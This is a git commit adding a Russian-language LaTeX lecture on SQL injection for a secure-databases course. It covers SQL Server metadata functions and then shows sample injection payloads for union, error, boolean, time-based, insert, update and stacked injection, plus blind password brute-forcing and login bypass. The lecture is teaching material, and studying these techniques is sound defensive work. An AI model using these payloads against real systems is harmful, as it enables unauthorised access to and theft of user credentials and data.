summaryrefslogtreecommitdiff
path: root/opzbd-lecture/injection.tex
diff options
context:
space:
mode:
authorAndrew Guschin <guschin.drew@gmail.com>2023-06-13 11:32:06 +0400
committerAndrew Guschin <guschin.drew@gmail.com>2023-06-13 11:32:06 +0400
commitc786e903ea549020bf1452ab11ff9be8730a1e60 (patch)
tree16e5400195131eeac9f1012ededdc8af0d88752e /opzbd-lecture/injection.tex
parent44351acb9efc85b0842b873b63d622bda4523713 (diff)
Добавлена лекция по защищённым базам данных
Diffstat (limited to 'opzbd-lecture/injection.tex')
-rw-r--r--opzbd-lecture/injection.tex409
1 files changed, 409 insertions, 0 deletions
diff --git a/opzbd-lecture/injection.tex b/opzbd-lecture/injection.tex
new file mode 100644
index 0000000..0bf637b
--- /dev/null
+++ b/opzbd-lecture/injection.tex
@@ -0,0 +1,409 @@
+\documentclass[12pt]{article}
+
+\usepackage[T2A]{fontenc}
+\usepackage[utf8]{inputenc}
+\usepackage[english,russian]{babel}
+\usepackage{fancyvrb}
+\usepackage{underscore}
+% \usepackage{tempora}
+\usepackage[mag=1000,a4paper,bindingoffset=1cm,
+ left=2cm,right=2cm,top=2cm,bottom=2cm,
+ headheight=1cm,footskip=1cm,headsep=0.5cm
+]{geometry}
+
+\title{SQL инъекция в сервере MySQL}
+\author{Андрей Гущин, Иван Улитин, Роман Стаин, Ирина Зимина}
+
+\begin{document}
+
+\maketitle
+\tableofcontents
+
+% Анализ БД через SQL инъекцию.
+\section{Анализ БД через SQL инъекцию}
+
+Анализ базы данных через SQL инъекцию является незаконным и неэтичным действием.
+Это может привести к нарушению безопасности данных, краже конфиденциальной
+информации и другим серьезным последствиям.
+
+SQL инъекция - это техника взлома, которая использует недостатки в системе
+безопасности базы данных для выполнения вредоносного кода. Эта техника позволяет
+злоумышленнику получить несанкционированный доступ к базе данных и выполнить
+различные операции, включая просмотр, изменение и удаление данных.
+
+Но помимо использования инъекций для получения или изменения данных
+непосредственно в БД атакуемого сервиса, можно также изучить инфраструктуру
+используемой СУБД. Например, выяснить существующие в БД таблицы. Также можно
+найти названия служебных баз данных, в которых в некоторых случаях могут
+храниться незашифрованные пароли. Зачастую, настройки СУБД также хранятся прямо
+внутри управляемых ей баз данных.
+
+Так как все служебные данные также хранятся в базах данных рядом с
+пользовательскими данными, то получить их можно с помощью тех же методов,
+которые применяются для получения обычных данных.
+
+Хорошие администраторы баз данных принимают все меры для защиты своих баз данных
+от SQL инъекций, такие как использование параметризованных запросов, валидацию
+пользовательского ввода, ограничение доступа пользователей и т.д. Однако, если
+злоумышленник обнаружил уязвимость в базе данных, то проведение SQL инъекции
+может позволить ему обойти меры защиты и получить доступ к данным.
+
+
+% Реализация SQL инъекции: получение пользовательской информации.
+\section{Реализация SQL инъекции: получение пользовательской информации.}
+
+В современном мире большинство людей ежедневно использует многочисленное количество веб-приложений: интернет-магазины,
+клиентские сайты, разнообразные web-приложения крупных организаций (официальные сайты компаний, системы оплаты, государственные услуги и т.д.).
+Во многих таких сайтах или приложениях используются базы данных и соответственно системы управления этими базами данных.
+Инъекция SQL технология взлома, позволяющая получить различную пользовательскую информацию: пароли, логины.
+Если web-сайт огранизации, обращающейся к БД собирает более конфиденциальную информацию (паспортные данные, адреса проживания), то такая информация более интересна для злоумышленника и угрозы осуществляются чаще.
+
+SQL Server хранит данные, и эти данные служат различным бизнес-целям. Помимо этого в SQL Server имеется информация об этих данных, и эта информация называется метаданными.
+SQL Server предоставляет несколько системных функций, которые вернут метаданные. В SQL Server имеется более 30 функций метаданных.
+
+функции метаданных:
+
+SERVERPROPERTY
+
+DATABASEPROPERTYEX
+
+DB_NAME и DB_ID
+
+FILE_NAME, FILE_ID и FILE_IDEX
+
+SCHEMA_NAME и SCHEMA_ID
+
+OBJECT_NAME и OBJECT_ID
+
+STATS_DATE
+
+Функция SERVERPROPERTY.
+Позволяет получить различные свойства экземпляра SQL Server. Она возвращает такую информацию, как имя сервера, редакцию SQL Server, версию продукта, является ли он кластеризованным и т.д.
+\begin{Verbatim}
+ SELECT
+ SERVERPROPERTY('MachineName') AS ComputerName,
+ SERVERPROPERTY('ServerName') AS InstanceName,
+ SERVERPROPERTY('Edition') AS Edition,
+ SERVERPROPERTY('ProductVersion') AS ProductVersion,
+ SERVERPROPERTY('ProductLevel') AS ProductLevel,
+ SERVERPROPERTY('Collation') AS Collation,
+ SERVERPROPERTY('IsIntegratedSecurityOnly') AS IsIntegratedSecurityOnly,
+ SERVERPROPERTY('EngineEdition') AS DatabaseEngineEdition,
+ SERVERPROPERTY('IsHadrEnabled') AS IsHadrEnabled,
+ SERVERPROPERTY('IsClustered') AS IsClustered,
+ SERVERPROPERTY('IsBigDataCluster') AS IsBigDataCluster,
+ SERVERPROPERTY('InstanceDefaultDataPath') AS InstanceDefaultDataPath,
+ SERVERPROPERTY('InstanceDefaultLogPath') AS InstanceDefaultLogPath,
+ SERVERPROPERTY('InstanceDefaultBackupPath') AS InstanceDefaultBackupPath
+GO
+\end{Verbatim}
+
+Функция DATABASEPROPERTYEX.
+Возвращает информацию уровня базы данных, включая такие свойства базы данных, как восстановление, статус, конфигурацию автосжатия, репликацию и т.д.
+Потребуется указать имя базы данных, а также название свойства.
+Этот запрос T-SQL даст модель восстановления, текущий статус базы данных и пользовательский доступ к указанной базе данных (TESTDB).
+Вывод показывает, что TESTDB использует полную модель восстановления, находится в режиме онлайн и использует многопользовательский доступ к базе данных.
+\begin{Verbatim}
+ SELECT
+
+ DATABASEPROPERTYEX('TESTDB', 'RECOVERY') AS [Recovery Model],
+
+ DATABASEPROPERTYEX('TESTDB', 'Status') AS [DB Status],
+
+ DATABASEPROPERTYEX('TESTDB', 'UserAccess') AS [UserAccess];
+
+GO
+\end{Verbatim}
+
+Функции DB_NAME и DB_ID.
+Используются для получения имени базы данных по ID базы данных или ID базы данных по имени.
+Если не указать ID или имя базы данных, выходные данные будут содержать информацию о базе данных, для которой выполнялся запрос.
+В примере показывается, как указать ID пользовательской базы данных, чтобы вернуть ее имя, и, напротив, указать имя базы данных, чтобы получить ее ID.
+\begin{Verbatim}
+ USE TESTDB
+ GO
+ SELECT DB_NAME() AS [DB Name], DB_ID() AS [DB ID]
+ GO
+ SELECT DB_NAME(7) AS [DB Name], DB_ID('TESTDB') AS [DB ID]
+\end{Verbatim}
+Результат обоих операторов одинаков.
+
+Следующие функции метаданных имеют отношение к информации уровня файла:
+
+FILE_NAME
+
+FILE_ID
+
+FILE_IDEX
+
+Функция FILE_NAME возвращает логическое имя файла для заданного ID файла базы данных,
+в то время как функция FILE_ID вернет ID логического файла для указанного имени файла базы данных.
+
+Функция FILE_IDEX может вернуть ID логического файла по указанному имени файла базы данных,
+Этот пример выполняет sp_helpdb на пользовательской базе данных TESTDB, чтобы вернуть всю информацию уровня файла.
+Можно увидеть имена файлов, ID и другие подробности в выводе процедуры.
+\begin{Verbatim}
+ EXEC sp_helpdb 'TESTDB'
+ GO
+ SELECT FILE_NAME(1) AS 'File Name 1',
+ FILE_NAME(2) AS 'File Name 2';
+ GO
+\end{Verbatim}
+
+Функции SCHEMA_NAME и SCHEMA_ID
+Используются для получения имени и ID для заданного имени схемы или ID схемы. Если обратиться к sys.schemas, получите имя схемы и ее ID.
+\begin{Verbatim}
+ SELECT SCHEMA_NAME() AS [Schema Name],
+ SCHEMA_NAME(1) AS [Schema Name using ID],
+ SCHEMA_NAME(2) AS [Schema Name using ID],
+ SCHEMA_NAME(3) AS [Schema Name using ID]
+\end{Verbatim}
+В результате получаем имя каждой схемы, которую указали с помощью ID. Для первого элемента значением по умолчанию является 1, поэтому два первых столбца совпадают.
+
+Подобным образом имена этих схем были скопированы из результатов и вставлены в функцию SCHEMA_ID, чтобы получить их ID с помощью следующего запроса.
+\begin{Verbatim}
+ SELECT SCHEMA_ID() AS [Schema ID],
+ SCHEMA_ID('dbo') AS [Schema ID using Name],
+ SCHEMA_ID('guest') AS [Schema ID using Name],
+ SCHEMA_ID('INFORMATION_SCHEMA') AS [Schema ID using Name]
+\end{Verbatim}
+
+Функции OBJECT_NAME и OBJECT_ID
+Чтобы получить ID объекта, в функции OBJECT_ID нужно указать имя объекта, а чтобы получить имя объекта, в функции OBJECT_NAME следует указать ID объекта.
+В примере имя таблицы OrderDetails из базы данных TESTDB используется для получения ID этой таблицы. Также получаем имя с помощью OBJECT_ID.
+\begin{Verbatim}
+ USE TESTDB
+ SELECT OBJECT_ID('TESTDB.dbo.OrderDetails') AS [ObjectID]
+ GO
+ SELECT OBJECT_NAME(901578250) AS [ObjectName]
+\end{Verbatim}
+
+Функция STATS_DATE
+Вернет дату последнего обновления статистики для таблицы или индексированного представления по object_id и stats_id.
+\begin{Verbatim}
+ SELECT object_id, name, stats_id FROM sys.stats
+ WHERE object_id = 901578250GO
+ SELECT STATS_DATE(901578250, 2) AS [Last stats update date]
+\end{Verbatim}
+Запрос возвращает список всех имен статистики и их идентификаторы для этого объекта, а функция показывает, когда обновлялась статистика с ID 2.
+Можно также получить дату последнего обновления статистки для всех статистик, выполнив следующий запрос:
+\begin{Verbatim}
+ USE TESTDB
+SELECT name AS StatsName,
+ STATS_DATE(object_id, stats_id) AS [Latest stats update date]
+FROM sys.stats
+WHERE object_id = OBJECT_ID('dbo.OrderDetails');
+GO
+\end{Verbatim}
+
+% Реализация SQL инъекции: типы данных
+\section{Реализация SQL инъекции: типы SQL запросов}
+Одним из критериев классификации SQL инъекции является тип запроса,
+в который можно встраивать инструкции\dots
+
+\subsection{Union-based}
+Первый метод заключается в добавлении конструкции UNION, позволяющей вертикально комбинировать данные из разных таблиц в одну. Как правило, требуется, чтобы на сайте было поле, куда выводится сообщение или чтобы на
+сайте была таблица, которая заполняется при выполнении SQL-запроса сервером (например, вывод расписания врача после введения в текстовом поле его имени).
+
+Например, сайт, возвращающий имя и логин пользователей по id и использующий следующий SQL-запрос:
+\begin{Verbatim}
+ SELECT name,email FROM users WHERE id='<id>';
+\end{Verbatim}
+Для успешной эксплуатации потребуется дописать запрос, введя следующее:
+
+\begin{Verbatim}
+ 1' UNION SELECT password,secret FROM users --
+\end{Verbatim}
+В итоге запрос будет выглядеть следующим образом:
+
+\begin{Verbatim}
+ SELECT name,email FROM users WHERE id='1'
+ UNION
+ SELECT password,secret FROM users -- ';
+\end{Verbatim}
+В результате вернётся пароль пользователя.
+
+\subsection{Error-based}
+Суть Error-based заключается в том, что можно извлекать нужную информацию из запроса посредством просмотра ошибок работы вызываемых функций. В некоторых случаях можно манипулировать выводом текста в сообщении
+об ошибке. Например это можно сделать с помощью функции \textit{ExtractValue()} в
+MySQL. Эта функция используется для извлечения значения из строки XML.
+
+Пример запроса, который вернет версию базы данных в сообщении ошибки:
+\begin{Verbatim}
+ SELECT name,email FROM users
+ WHERE id='1' and ExtractValue(rand(),concat(0x3a,version())) --
+\end{Verbatim}
+
+\subsection{Boolean-based}
+Пусть есть SQL-запрос:
+\begin{Verbatim}
+ SELECT email FROM users WHERE id='<id>';
+\end{Verbatim}
+Отличаться запрос от предыдущих примеров будет тем, что полученная почта не
+будет высвечиваться, а, например, обрабатываться на backend, и пусть это будет
+отправка письма для восстановления аккаунта. В случае, если по SQL-запросу
+из базы данных не возвращается хотя бы одна строка, то можно наблюдать
+ошибку с отсутствующим пользователем.
+
+Для того, чтобы дальше развивать эту уязвимость, можно вписать следующее:
+\begin{Verbatim}
+ 1' and password LIKE 'a%
+\end{Verbatim}
+чтобы запрос принял вид:
+\begin{Verbatim}
+ SELECT email FROM users WHERE id='1' and password LIKE 'a%';
+\end{Verbatim}
+Оператор \textit{LIKE} используется в условии \textit{WHERE} для поиска заданного шаблона в столбце, а знак процента представляет нулевой, один или несколько символов.
+В таком случае увидим ошибку отсутствующей почты (при существующем аккаунте с \textit{id=1}) только, если первый символ пароля не 'a'. После чего можно перебирать по одному символу и получать значения из базы данных.
+
+\subsection{Time-based}
+Time-based отличается от boolean-based тем, что результат работы запроса определяется по времени задержки ответа от сервера. Данный тип запросов можно эксплуатировать в любом уязвимом поле. Пример запроса:
+\begin{Verbatim}
+ SELECT login FROM users WHERE id='<id>';
+\end{Verbatim}
+И если ввести
+\begin{Verbatim}
+ 1' AND IF(MID(VERSION(),1,1) = '5', SLEEP(15), 0) --
+\end{Verbatim}
+То получим следующий запрос:
+\begin{Verbatim}
+ SELECT login FROM users
+ WHERE id='1' AND IF(MID(VERSION(),1,1) = '5', SLEEP(15), 0) -- ';
+\end{Verbatim}
+И в случае, если версия базы данных будет 5, то, например, страница веб-сайта загрузится на 15 секунд медленнее.
+
+\subsection{Insert}
+SQL-инъекция в \textit{INSERT} запросе процесс сложнее, так как во многих случаях потребует наличие исходников (для избежания повреждения данных в таблицах).
+
+Принцип эксплуатации \textit{INSERT} SQL-инъекции заключается в добавлении в таблицу строк-результатов работы другого SQL-запроса, хотя формально выполняется только один запрос в базу данных.
+Есть запрос, добавляющий пользователя в БД:
+\begin{Verbatim}
+ INSERT INTO users(email,login,password)
+ VALUES('<input0>','<input1>','<input2>');
+\end{Verbatim}
+Таким образом, если в поле логина ввести следующее:
+\begin{Verbatim}
+ test1','1234'),('my@email.com',VERSION(),'1337') --
+\end{Verbatim}
+То получим запрос, создающий двух пользователей, второй из которых с почтой my@email.com и паролем 1337 будет содержать результат работы \textit{VERSION()} -- текущей версии базы данных (MySQL):
+\begin{Verbatim}
+ INSERT INTO users(email,login,password)
+ VALUES('...','test1','1234'), ('my@email.com',VERSION(),'1337') --
+\end{Verbatim}
+
+\subsection{Update}
+Основывается на том же методе, что и в \textit{INSERT} SQL-инъекции. Оператор \textit{UPDATE} используется для обновления существующих записей в таблице.
+Пример запроса:
+\begin{Verbatim}
+ UPDATE users SET about='about' WHERE id='1';
+\end{Verbatim}
+Введем следующее:
+\begin{Verbatim}
+ ', email=VERSION() WHERE id='1' --
+\end{Verbatim}
+И в итоге получим запрос, помещающий в поле почты пользователя с \textit{id=1} версию базы данных:
+\begin{Verbatim}
+ UPDATE users SET about='', email=VERSION() WHERE id='1' -- ' WHERE id='1';
+\end{Verbatim}
+
+\subsection{Stacked}
+Суть Stacked SQL-инъекции сводится к тому, что возможно за раз отправить несколько SQL-запросов, перечислив их через точку с запятой (;). Для некоторых баз данных такой способ не подойдёт, поскольку они не поддерживают подобное перечисление запросов. Чаще всего такой тип SQL-инъекции эксплуатируют у баз данных MSSQL.
+
+Пример запроса:
+\begin{Verbatim}
+ SELECT login FROM users WHERE id='<id>';
+\end{Verbatim}
+Для эксплуатации введем:
+\begin{Verbatim}
+ 1'; SELECT password FROM users WHERE id='1
+\end{Verbatim}
+И получим два запроса:
+\begin{Verbatim}
+ SELECT login FROM users WHERE id='1';
+ SELECT password FROM users WHERE id='1';
+\end{Verbatim}
+
+% Реализация SQL инъекции: инъекция в сложных запросах.
+% https://webew.ru/articles/2078.webew
+\section{Реализация SQL инъекции: инъекция в сложных запросах}
+
+В простейшем примере используется возможность встроить код в конец SQL-запроса.
+На практике в конце SQL-запроса могут быть дополнительные условия, операторы
+сортировки, группировки и другие SQL-конструкции. В каждом конкретном случае,
+злоумышленник постарается встроить вредоносный кусок таким образом, чтобы запрос
+в целом остался синтаксически корректным, но выболнял другую функцию. Здесь мы
+рассмотрим простейший пример уязвимого запроса с дополнительным условием.
+
+\begin{Verbatim}
+$sql = "SELECT username, realname FROM users WHERE cityid='" .
+$_GET['cityid'] . "' AND age<'35'";
+\end{Verbatim}
+
+В этом случае, злоумышленник может нейтрализовать дополнительное условия,
+передав в качестве параметра \textbf{cityid} \textit{20' UNION SELECT username,
+password AS realname FROM users WHERE 1 OR '1}, что приведет к формированию
+следующего запроса:
+
+\begin{Verbatim}
+SELECT username, realname FROM users WHERE cityid='20' UNION SELECT
+username, password AS realname FROM users WHERE 1 OR '1' AND age<'35';
+\end{Verbatim}
+
+В результате условие \texttt{age < 35} не будет влиять на выборку, т.к. оператор
+\textbf{OR} имеет более низкий приоритет, чем \textbf{AND}, и \textbf{WHERE} из
+приведённого выше запроса по-другому можно записать в виде \texttt{WHERE
+(cityid='20' AND 1) OR ('1' AND age<'35')} (напомним, что выражение
+\texttt{WHERE 1} истинно всегда). В результате под условие подойдут и те строки,
+у которых \texttt{cityid='20'}, и те, у которых \texttt{age < 35}, причем
+наличие последних не обязательно.
+
+В случае сложных запросов успешные SQL-иъекции требуют некоторой
+изобретательности, но можно ожидать, что у злоумышленников она имеется.
+
+% Реализация SQL инъекции: результаты запроса не отображаются пользователю.
+\section{Реализация SQL инъекции: результаты запроса не отображаются пользователю}
+
+Может оказаться, что уязвимым является запрос, результаты которого не
+отображаются пользователю. Это может быть, например, вспомогательный запрос:
+
+\begin{Verbatim}
+$sql = "SELECT count(*) FROM users WHERE userid='" . $_GET['userid'] . "'";
+\end{Verbatim}
+
+Запрос выше всего лишь проверяет наличие пользователя с данным userid: если он
+возвращает любую отличную от нуля величину — показывается профиль пользователя с
+соответствующим userid, если же возвращён 0 (то есть, нет пользователей,
+удовлетворяющих критерию запроса) — сообщение "пользователь не найден".
+
+В этом случае определение пароля (или другой информации) производится перебором.
+Взломщик передает в качестве параметра \texttt{userid} строку \texttt{2' AND
+password LIKE 'a\%}. Итоговый запрос:
+
+\begin{Verbatim}
+SELECT count(*) FROM users WHERE userid='2' AND password LIKE 'a%';
+\end{Verbatim}
+
+Взломщик получит "пользователь не найден", если пароль не начинается на букву
+'a', или стандартную страницу с профилем пользователя, в противном случае.
+Перебором определяется первая буква пароля, затем вторая и.т.д.
+
+Есть ещё такая штука как Login Bypass Authentication, суть которой как раз
+передается в названии подтемы: важно не получение значения их базы данных, а
+завершение запроса верным образом (его успешное выполнение).
+
+\begin{Verbatim}
+SELECT id FROM users WHERE login='<login>' AND password='<password>';
+\end{Verbatim}
+
+\begin{Verbatim}
+SELECT id FROM users
+WHERE login='1234\' AND password='UNION SELECT 1 -- ';
+\end{Verbatim}
+
+То есть каждый из запросов выше возвращает 1. Это может быть использовано для
+того, чтобы заставить веб-сервер или любой другой интерфейс между пользователем
+и базой данных выполнить указания, которые необходимы взломщику. Например,
+веб-ресурс выполнять некоторую команду A при таком-то определенном результате
+запроса, которая позволяла бы хакеру продолжить атаку на этот ресурс.
+
+\end{document} \ No newline at end of file